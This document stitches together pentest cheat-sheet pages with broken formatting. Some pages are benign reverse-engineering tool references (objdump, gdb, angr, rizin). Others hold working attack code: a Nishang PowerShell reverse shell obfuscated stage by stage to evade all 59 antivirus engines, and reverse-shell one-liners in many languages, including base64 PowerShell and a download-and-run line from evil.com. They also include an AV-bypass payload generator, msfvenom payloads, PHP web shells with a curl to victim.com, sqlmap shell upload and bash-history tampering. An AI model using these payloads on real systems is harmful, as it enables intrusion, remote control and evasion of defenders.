Reverse Engineering

Analyze and get the knowledge of executables.

Static Analysis

File Information

file ./executable

Printable Contents

strings ./executable

# Get lines which include specific keyword
# -i: Ignore case
# -B: Print before N lines of target line
# -A: Print after N lines of target line
strings ./executable | grep -i password -B 5 -A 5

Shared Object (Library) Dependencies

ldd ./executable

Object Information

# -f: Display file headers
objdump -f ./executable

# -p: Print information that is specific to the object file format
objdump -p ./executable

# -h: Display section headers
objdump -h ./executable

# -d: Disassebmle executable sections
# -M intel: Specify Intel syntax
objdump -dM intel ./executable
# -D: Disassemble all
objdump -DM intel ./executable

# -s: Display full contents of any sections
objdump -s ./executable

# -x: Display all headers
objdump -x ./executable

# -g: Display debug information
objdump -g ./executable

# -t: Display the symbol table
objdump -t ./executable
# -T: Display the dynamic symbol table
objdump -T ./executable

# -R: Display the dynamic relocation table
objdump -R ./executable

Contents in Hexadecimal & ASCI

# -C: Canonical hex+ASCII display
hexdump -C ./executable
# less: Open pager
hexdump -C ./executable | less

xxd ./executable
# less: Open pager
xxd ./executable | less

Packer Detection

To check if a binary is compressed with packer such as UPX, dump the hex and extract text related to the packer as below.

# -B: Print before 20 lines from matched string.
# -A: Print after 20 lines from matched string.
hd ./sample | grep UPX -B 20 -A 20

xxd ./sample | grep UPX -B 20 -A 20

If found, we can decompress it.

upx -d ./sample 

Security Properties

checksec --file=./sample
Property Details
RELRO Relocation Read-Only, which makes the global offset table (GOT) read-only.
Stack Canaries Tokens placed after a stack to detect a stack overflow.
NX Non-Executable. It prevents from shellcode.
RWX Read-Write-Executable. It's vulnerable to shellcode.
PIE Position Independent Executable. It loads the program dependencies into random locations.

Code Analysis


Dynamic Analysis

Tracing

# Executa binary and trace library calls
ltrace ./executable

# Executa binary and trace system calls and signals
strace -f ./executable

Debugging

HOW TO PASS UNDER THE RADAR WITH POWERSHELL

Actual problem:

Nishang Powershell reverse shell is detected by the most AV. After remote commande execution you will be blocked by end point protections. This article demonstrate how it is possible to manualy reach the 0 detection with 59 AV engines.

Base line:

Nishang script is a very nice tool and can be used for Reverse or Bind interactive PowerShell from a target.

SCORE :20/59

STAGE 1

Remove dev comments, change output error, remove link, synopsis, description, example.

SCORE :12/59

STAGE 2

Change functions names.

SCORE: 11/59

STAGE 3

Change 50% variables names with random strings.

SCORE: 11/59

STAGE 4

Change 90% variables names with random strings.

SCORE: 3/59

STAGE 5

Remove Run as comment, Microsoft motd, change ASCII prompt.

SCORE: 1/59

STAGE 6

Change 95% variables names with random strings.

SCORE: 0/59

Powershell escape is mainly done by changing function names, variable names, developer comments.

FINAL TEST

POC SOURCE CODE:

function Invoke-Shell 
{ 
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $World,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Country,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    try 
    {
        if ($Reverse)
        {
            $dGtrfokiudfjhvnjfe = New-Object System.Net.Sockets.TCPClient($World,$Country)
        }

        if ($Bind)
        {
            $eDDfh987654567 = [System.Net.Sockets.TcpListener]$Country
            $eDDfh987654567.start()    
            $dGtrfokiudfjhvnjfe = $eDDfh987654567.AcceptTcpClient()
        } 

        $zrt54789dvbgH = $dGtrfokiudfjhvnjfe.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        $gfklighloiujGHds = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nMicrosoft Corporation.`n`n")
        $zrt54789dvbgH.Write($gfklighloiujGHds,0,$gfklighloiujGHds.Length)

        $gfklighloiujGHds = ([text.encoding]::ASCII).GetBytes('$ ' + (Get-Location).Path + '>>')
        $zrt54789dvbgH.Write($gfklighloiujGHds,0,$gfklighloiujGHds.Length)

        while(($i = $zrt54789dvbgH.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                $Poec56fd345 = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something wrong" 
                Write-Error $_
            }
            $GFGFGBbvbgrefdf  = $Poec56fd345 + 'PS ' + (Get-Location).Path + '> '
            $ggh45RedCzIk = ($error[0] | Out-String)
            $error.clear()
            $GFGFGBbvbgrefdf = $GFGFGBbvbgrefdf + $ggh45RedCzIk

            $sendbyte = ([text.encoding]::ASCII).GetBytes($GFGFGBbvbgrefdf)
            $zrt54789dvbgH.Write($sendbyte,0,$sendbyte.Length)
            $zrt54789dvbgH.Flush()  
        }
        $dGtrfokiudfjhvnjfe.Close()
        if ($eDDfh987654567)
        {
            $eDDfh987654567.Stop()
        }
    }
    catch
    {
        Write-Warning "Something wrong!" 
        Write-Error $_
    }
}

Invoke-Shell -Reverse -world 10.10.10.10 -CountrY 443

THE ONE PORT DMZ DL/EXEC ISSUE

Sometime it is not possible to work with 2 ports.

:information_source: The trick is to add a timestamp in the reverse shell script loaded in memory.

MODIFICATION PART:
}
---SNIP---
Start-Sleep -s 10
Invoke-Shell -Reverse -world 10.10.10.10 -CountrY 443
PROCESS

<- BACK TO MAIN MENU ->--- title: Angr Cheat Sheet description: angr is a binary analysis platform for Python. tags: - Reverse Engineering refs: - https://docs.angr.io/ date: 2024-02-18 draft: false


Installation

It’s recommended to create a Python virtual environment.

python3 -m venv myenv
source myenv/bin/activate

pip3 install angr
pip3 install monkeyhex


Basic Usage

import angr, monkeyhex

proj = angr.Project('/bin/id')
proj = angr.Project('/bin/id', load_options={'auto_load_libs': False})

# Basic information
proj.arch
proj.entry
proj.filename

# The loader
proj.loader
proj.loader.all_objects
proj.loader.shared_objects
proj.loader.min_addr
proj.loader.max_addr

# Objects
obj = proj.loader.main_object
obj.entry
obj.min_addr, obj.max_addr
addr = obj.plt['strcmp']
obj.reserve_plt[addr]

# Blocks
block = proj.factory.block(proj.entry)
block.pp() # pretty-print a disassembly to stdout
block.instructions # the number of instructions
block.instruction_addrs

# States
state = proj.factory.entry_state()
state.regs.rip # get the current instruction pointer
state.regs.rax
state.mem[proj.entry].int.resolved

# Simulation Managers
simgr = proj.factory.simulation_manager(state)
simgr.active
simgr.active[0].regs.rip
simgr.step()

# Analyses
proj.analyses. # enter tab key to auto-completion in iPython


Binary Exploitation

import angr

def main():
    proj = angr.Project('./example', load_options={'auto_load_libs': False})

    def correct(state):
        try:
            return b'Success' in state.posix.dumps(1)
        except:
            return False

    def wrong(state):
        try:
            return b"Failed" in state.posix.dumps(1)
        except:
            return False

    simgr = proj.factory.simulation_manager()
    simgr.explore(find=correct, avoid=wrong)
    return simgr.found[0].posix.dumps(0)

if __name__ == "__main__":
    print(main())
```---
title: Bash History Attack
description: If an attacker can login as victim user in system, he can exploit the bash history in the victim home directory.
tags:
    - Post Exploitation
    - Shell
refs:
date: 2023-07-24
draft: false
---

## Bash History Unveiling

**`.bash_history`** is commonly in users home directory. In order not to store the bash history, users can link **`/dev/null`** with this file as below.

```bash
# If victim uses bash...
ln -sf /dev/null ~/.bash_history

# If victim users zsh...
ln -sf /dev/null ~/.zsh_history

Exploitation

If attackers can login as victim user, they can unlink /dev/null then allow the bash history to be stored. If HISTFILE variable does not appear in .bashrc or .profile, attackers can add this line in the file to store the bash history.

# If victim uses bash...
unlink ~/.bash_history ; touch ~/.bash_history
echo "HISTFILE=~/.bash_history" >> ~/.bashrc

# If victim uses zsh...
unlink ~/.zsh_history ; touch ~/.zsh_history
echo "HISTFILE=~/.zsh_history" >> ~/.zshrc

After rebooting the machine, the bash history will be stored in .bash_history file and attackers can see the history when logged in again. It may extract sensitive information.


False Information Inserting

Attackers can easily insert arbitrary content into .bash_history as follow.

# Assume `malicious` is exactly malicious binary.
echo "~/malicious" >> ~/.bash_history

When victim see the content of the bash_history, malicious command may be executed by the victim’s misunderstanding.

title: GDB Cheat Sheet description: GDB (GNU Debugger) is a portable debugger used for reverse engineering. tags: - Reverse Engineering refs: date: 2024-02-18 draft: false


Using Enhanced GDB

It's recommended to use enhanced version of GDB such as GEF. These have some extended features.


Start Debugger

chmod +x ./example
gdb ./example


Commands in GDB

Debug

# Start the program
run
r

# Continue until the next breakpoint or the end
continue
c

# Execute the next line of code but do not enter any function calls on that line.
next
n

# Execute the next line of code
step
s

# Jump to specific address
j *0x01234

Disassemble

# Disassemble the main function
disass main

Breakpoints

# Set a breakpoint at a specified line number, function, or address.
break main
b main
break *0x12345678
# Add a breakpoint to the relative address position from the main function.
b *main+25

# Information about breakpoints
info breakpoints
i breakpoints
i b

# Delete all breakpoints
delete breakpoints
d breakpoints
# Delete the specified breakpoint
delete <breakpoint_number>
delete 1
d 1

View Values

# Print value of expression at specific address
p 0x01234

# Examine the memory as specific address as addresses
x/a 0x01234
# Examine the memory at specific address as 10 characters
x/10c 0x01234
# Examine the memory as specific address as string
x/s 0x01234
# Examine
x/g 0x01234

# Display information of registers
info registers
i r
# Display information of the stack frame
i f

Change Values

# Set N characters to specific address
set {char [5]} 0x01234 = "Hello"

# Set the value stored at memory address `0x01234` to `0x5678`
set *0x01234 = 0x5678
```---
title: Reverse Shell Cheat Sheet
description: 
tags:
    - Privilege Escalation
    - Reverse Shell
    - Windows
refs:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
    - https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
date: 2024-04-01
draft: false
---

## Setup Listener

First of all, we need to start a listener in local machine to get an incoming connection.

```sh
nc -lvnp 4444

# For more elegant shell, use `rlwrap`.
# https://github.com/hanslub42/rlwrap
rlwrap nc -lvnp 4444


Online Generator


Bash

bash -i >&  /dev/tcp/10.0.0.1/4444 0>&1
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

# For URL param
/?q=bash+-i+>%26+/dev/tcp/10.0.0.1/4444+0>%261
/?q=`bash+-c+'bash+-i+>%26+/dev/tcp/10.0.0.1/4444+0>%261'`

with Base64

Execute the following commands in target machine.

echo "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" | base64
echo <base64_string> | base64 -d | bash


Netcat OpenBSD

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f


Ncat

ncat 10.0.0.1 4444 -e /bin/bash
ncat 10.0.0.1 4444 -e /bin/sh
ncat 10.0.0.1 4444 -c bash
ncat --udp 10.0.0.1 4444 -e /bin/bash

nc 10.0.0.1 4444 -e /bin/bash
nc 10.0.0.1 4444 -e /bin/sh
nc 10.0.0.1 4444 -c bash
nc --udp 10.0.0.1 4444 -e /bin/bash

busybox nc 10.0.0.1 4444 -e bash


NodeJS

Reference: https://medium.com/dont-code-me-on-that/bunch-of-shells-nodejs-cdd6eb740f73

node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4444, "10.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'


Perl

perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


PHP

php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'


Python

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1", 4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'


Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


PowerShell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell Invoke-Expression (New-Object Net.WebClient).DownloadString('http://evil.com/revshell.ps1')

# Base64 encoded payload
powershell -e JGNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5Tb2NrZXRzLlRDUENsaWVudCgnMTAuMC4wLjEnLDEyMzQpOyRzdHJlYW0gPSAkY2xpZW50LkdldFN0cmVhbSgpO1tieXRlW11dJGJ5dGVzID0gMC4uNjU1MzV8JXswfTt3aGlsZSgoJGkgPSAkc3RyZWFtLlJlYWQoJGJ5dGVzLCAwLCAkYnl0ZXMuTGVuZ3RoKSkgLW5lIDApezskZGF0YSA9IChOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uVGV4dC5BU0NJSUVuY29kaW5nKS5HZXRTdHJpbmcoJGJ5dGVzLDAsICRpKTskc2VuZGJhY2sgPSAoaWV4ICRkYXRhIDI+JjEgfCBPdXQtU3RyaW5nICk7JHNlbmRiYWNrMiA9ICRzZW5kYmFjayArICdQUyAnICsgKHB3ZCkuUGF0aCArICc+ICc7JHNlbmRieXRlID0gKFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKCRzZW5kYmFjazIpOyRzdHJlYW0uV3JpdGUoJHNlbmRieXRlLDAsJHNlbmRieXRlLkxlbmd0aCk7JHN0cmVhbS5GbHVzaCgpfTskY2xpZW50LkNsb3NlKCk=

# Base64 encoded payload (contains null character between each character)
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwAC4AMAAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

Bypass AV (Antivirus)

#!/usr/bin/env python
import base64
import sys

if len(sys.argv) < 3:
  print('usage : %s ip port' % sys.argv[0])
  sys.exit(0)

payload="""
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
    $sb = (iex $d 2>&1 | Out-String );
    $sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
    $s.Write($sb,0,$sb.Length);
    $s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])

byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())

Then execute it and write to a file.

# we can specify arbitrary file format for Windows such as .bat, .cmd, etc.
python3 generate.py <ip> <port> > shell.bat

Start a listener for receiving incoming requests. Specify the port which was given the previous command.

nc -lvnp <port>

After that, upload shell.bat to target website.


Nishang

Nishang is the Offensive PowerShell for red team, penetration testing and offensive security.

1. Preparing the Payload in Your Local Machine

First off, copy the payload to the current working directory.

cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 ./shell.ps1
mv Invoke-PowerShellTcp.ps1 shell.ps1

Add the following code to the final line in the payload (shell.ps1).

Invoke-PowerShellTcp -Reverse  -IPAddress <your-local-ip> -Port 4444

2. Opening Wev Server in Your Local Machine

To download the payload and execute the reverse shell in the target machine, open the web server in your local machine.

python3 -m http.server 8000

3. Start a Listener

And start a listener for receiving incoming requests in our local machine.

nc -lvnp 4444

4. Download the Payload and Executing Reverse Shell

In the target machine, download the local-hosted payload and run reverse shell.

cmd /c powershell IEX (New-Object Net.WebClient).DownloadString('http://<your-local-ip>:8000/shell.ps1')

title: Reverse Shell with Metasploit description: We can create a reverse shell payload using Msfvenom and listen for reverse connection with Msfconsole. tags: - Privilege Escalation - Reverse Shell refs: date: 2024-01-26 draft: false


Generate Reverse Shell Payload

1. Create a Payload using MsfVenom

# Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf

# Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f aspx -o shell.aspx

2. Start Listener using MsfConsole

msfconsole
msf> use exploit/multi/handler

# Linux
msf> set payload linux/x86/meterpreter/reverse_tcp
# Windows
msf> set payload windows/meterpreter/reverse_tcp
# or
msf> set payload windows/x64/meterpreter/reverse_tcp

msf> set lhost 10.0.0.1
msf> set lport 4444
msf> run
meterpreter> shell

3. Send the Generated File to Target Machine

After that, we need to send the generated malicious file to target machine somehow such as below:

Then a user in target machine executes this file, we may be able to get a shell of target system.

title: Reverse Shell with Pwncat description: Pwncat is a reverse and bind shell handler. tags: - Privilege Escalation - Reverse Shell - Windows refs: date: 2023-12-23 draft: false


It can be downloaded from here.
For listening from remote connection, run the following command.

pwncat-cs -lp 4444

# For Windows target
pwncat-cs -m windows -lp 4444


Commands

After reverse connecting, we can execute commands either local or remote.

# Switch between Local and Remote shell
Ctrl+D

# Upload a file to target machine (e.g. upload example.txt from local to remote)
(local) upload ./example.txt /tmp/example.txt
```---
title: Reversing ELF (Executable and Linking Format)
description: ELF is a file format for executables of Linux.
tags:
    - Reverse Engineering
refs:
date: 2024-02-18
draft: false
---

## Static Analysis

```sh
# -a: All
readelf ./sample -a
# -p: Dump the contents of section
readelf ./sample -p .data
readelf ./sample -p .text
readelf ./sample -p .interp

# Change MSB <=> LSB by editing binary number.
hexedit ./sample
(MSB) 7F 45 4C 46  02 02 01 ... <=> (LSB) 7F 45 4C 46  02 01 01 ...

# Display shared object dependencies
ldd ./sample

title: Reversing JAR File description: JAR (Java Archive) file can be reversed using some tools. tags: - Reverse Engineering refs: date: 2024-02-18 draft: false


Code Analysis

We can use jdgui GUI tool.

jd-gui

title: Reversing OLE description: OLE is a mechanism that allows users to create and edit documents containing items or "objects" created by multiple applications. tags: - Reverse Engineering refs: date: 2024-02-18 draft: false


Oledump

It dumps the information of the OLE files.

oledump.py example.doc

# -s: stream number to analyze
# -d: dump
oledump.py -s 8 -d example.doc
oledump.py -s 9 -d example.doc

Then decrypt the output using online tools like CyberChef.


Olevba

Download the Oletools to use it.

olevba example.docm

Copy the above Visual Basic code, and access to OneCompiler.
Select the programming language "Visual Basic".
Paste the copied code to the editor, then click Run.


title: Reversing PE (Portable Executable) description: The Portable Executable format is a file format for executables, object code, DLLs and others used in 32-bit and 64-bit versions of Windows. tags: - Reverse Engineering - Windows refs: date: 2024-02-18 draft: false


PE Headers

There are many tools to analyze PE headers, such as wxHexEditor, pe-tree.
pe-tree is a tool that views PE files in a tree-view. It will take about a few minutes to open.

pe-tree ./executable
Structure Description
IMAGE_DOS_HEADER It consists of the first 64 bytes of the PE file. The first two bytes (”4D 5A”) means the “MZ” characters which are an identity of the Portable Executable format.
DOS_STUB It is a small piece of code that only runs if the PE file is incompatible with the system it is being run on. At such time the message “!This program cannot be run in DOS mode" will be displayed.
IMAGE_NT_HEADERS It contains most of the vital information related to the PE file. The starting address of the IMAGE_NT_HEADERS is found in e_lfanew from the IMAGE_DOS_HEADER. It contains NT_HEADERS, IMAGE_SECTION_HEADER, IMAGE_IMPORT_DESCRIPTION


Identify Packers of Packed Executable

pecheck is a command-line tool which analyze PE files.

pecheck ./executable

When results appears, check the section name in the PE Section.


Debugging


title: Reversing PYC (Python Compiled File) description: A PYC file is a compiled file generated from source code written in Python. tags: - Reverse Engineering refs: date: 2023-02-18 draft: false


Decompile

uncompyle6 is a PYC decompiler.

We can install easily using pip.

pip install uncompyle6

Then decompile the pyc file.

uncompyle6 example.pyc

title: Rizin Cheat Sheet description: Rizin is a reverse engineering framework forked from Radare2. tags: - Malware - Reverse Engineering refs: date: 2024-02-18 draft: false


*Using Cutter

Cutter is a GUI tool for reverse engineering powered by Rizin.
It can also have a decompiler, so it’s recommended to use it first.

cutter <file>

To use the Ghidra decompiler, install the package.

sudo apt install rizin-plugin-ghidra
# or
sudo apt install rz-ghidra


Start Debugging

rizin ./example

# Debug mode
rizin -d ./example
# Write mode
rizin -w ./example


Analyze

Analyze the program after starting the debugger.

# Analyze all calls
> aaa

# Analyze function
> af 
# List all functions
> afl
> afl | grep main
# Show address of current function
> afo


# Print usage
> ?

# Add "?" suffix to print the usage of the specific command.
> i?
> p?


Visual Mode

You can enter visual mode for more intuitive operation.

> v

# Visual Debugger Mode
> Vpp

Below is a list of basic commands:

# Toggle print mode
p
# or
P

# Step
s

# Toggle cursor mode
c

# Exit
q

# Enable regular rizin commands
:


Debug

# Step
> ds
# Step 3 times
> ds 3
# Step back
> dsb

# Setup a breakpoint
> db @ 0x8048920
# Remove a breakpoint
> db @ -0x8048920
# Remove all breakpoints
> db-*
# List all breakpoints
> dbl

# Continue to execute the program until we hit the breakpoint
> dc
# Continue until syscall
> dcs

# Read all registers values
> dr
> dr=
# Read given register value
> dr eip
> dr rip
# Set a register value
> dr eax=24
# Show register references
> drr


Seek

# Print current address
> s

# Seek to given function
> s main
> s sym.main

# Seek to given address
> s 0x1360
> s 0x0x00001360

# Seek to register address
> s esp
> s esp+0x40
> s rsp
> s rsp+0x40

# Seek 8 positions
> sd 8

# Show the seek history
> sh
# Undoing
> shu
# Redoing
> shr


Print

# Disassemble at current address
> pd
# Disassemble 10 instructions at current address
> pd 10
# Disassemble all possible opcodes at current address
> pda
# Disassemble all possible opcodes 10 instructions at current address
> pda 10
# Disassemble at the given function
> pd @ main
> pd 20 @ main

# Disassemble a function at current address
> pdf
# Disassemble at given address
> pdf @ 0x401005
# Disassemble the main function
> pdf @ main

# Print string
> ps @ 0x2100
# Print zero-terminated string
> psz @0x2100

# Show 200 hex bytes
> px 200
# Show hex bytes at given register
> px @ eip
> px @ esp

To decompile functions, we need to Ghidra decompiler so first we need to install the ghidra plugin.

sudo apt install rizin-plugin-ghidra

Then below are commands for decompiling.

# Decompile the "main" function
> pdg @ main


Write

We need to add '-w' option when the debugger starts.

# Write string
> w Hello World\n @ 0x2100

# Write opcodes at given address
> wa 'mov eax, 1' @ 0x2100
> wa 'mov byte [rbp-0x1], 0x61' @ 0x2100


Expressions

> ?vi 0x000011a4
4516

> ?vi 1+2
3


Information about Binary File

# Information about the binary file
> i

# All summary
> ia

# Show main address
> iM

# Symbols
is

# List strings
> iz
# List strings in whole binary
> izz


Reopen Current File

# Reopen current file in debug mode
> ood
```---
title: Upgrade to Fully Interactive TTY
description: After reverse shell, the shell has poorly functions, so we can upgrade to more functional shell.
tags:
    - Privilege Escalation
    - Reverse Shell
refs:
date: 2023-04-08
draft: false
---

## Upgrade

After connecting to the target shell with reverse shell, it's recommended to make the shell to be more elegant.

```sh
python3 -c 'import pty; pty.spawn("/bin/bash")'
# or
python -c 'import pty; pty.spawn("/bin/bash")'
# or
python2 -c 'import pty; pty.spawn("/bin/bash")'
# or
SHELL=/bin/bash script -q /dev/null

The commands below make our shell even more perfect.

Ctrl+z
stty raw -echo;fg
Enter x2
export TERM=xterm

title: Web Reverse Shell description: We can get a shell by putting the reverse shell payload into target website. tags: - Privilege Escalation - Reverse Shell - Web refs: date: 2023-11-21 draft: false


PHP Reverse Shell (Linux)

# From local script (it's stored by default in Kali or Parrot)
cp /usr/share/webshell/php/php-reverse-shell.php ./shell.php

# From repo (https://github.com/pentestmonkey/php-reverse-shell)
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# From repo (https://github.com/flozz/p0wny-shell)
wget https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php -O shell.php

Replace the $ip and the $port in the script with your local ip and port.

Without fsockopen, and for FreeBSD

<?php
set_time_limit (0);
$ip = '10.0.0.1';  // CHANGE THIS
$port = 4444;      // CHANGE THIS

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
2 => array("file", "/tmp/error-output.txt", "a")   // stderr is a pipe that the child will write to
);

$cwd = "/tmp";
$env = array('some_option' => 'aeiou');

$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    fwrite($pipes[0], 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ip $port >/tmp/f');
    fclose($pipes[0]);

    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);

    $return_value = proc_close($process);
    echo "command returned $return_value\n";
}
?>

Using Web Shell

Create a PHP script to allow us to execute arbitrary command.

<?php system($_REQUEST['test']); ?>

Then upload it to target website.
Now we might be able to execute arbitrary command, in short, reverse shell as below.

curl https://victim.com/uploads/shell.php?test='bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"'

# Base64 encoded payload
curl https://victim.com/uploads/shell.php?test='echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEi | base64 -d | bash'


PHP Revese Shell (Windows)

Below are the available payloads.


Python Reverse Shell (Linux)

It's required to upload a payload and command execution in the target website for successful.
First, create a Python file e.g. "revshell.py". Replace the ip and the port with your own.

# revshell.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])

Then upload it to the target website.
Next start a listener in local machine.

nc -lvnp 4444

Now we need to command execution by somehow in the target website.

python3 /path/to/revshell.py

If success, we should get a shell.


ASP.NET

We can use .aspx file for reverse shell. Download from here.


Upload Script via SQLi

# req.txt: The request settings file which is saved using Burp Suite
sqlmap -r req.txt --dbs --random-agent --batch --file-dest=/var/www/html/shell.php --file-write=./shell.php


Useful Tools


Shell Script & Remote Code Execution (RCE)

If we can find a website is vulnerable to Remote Code Execution but cannot Reverse Shell, we may be able to do that by uploading the script.

1. Create a shell script to reverse shell.

This file is named "revshell.sh".

#!/bin/bash
bash -i >& /dev/tcp/<local-ip>/<local-port> 0>&1

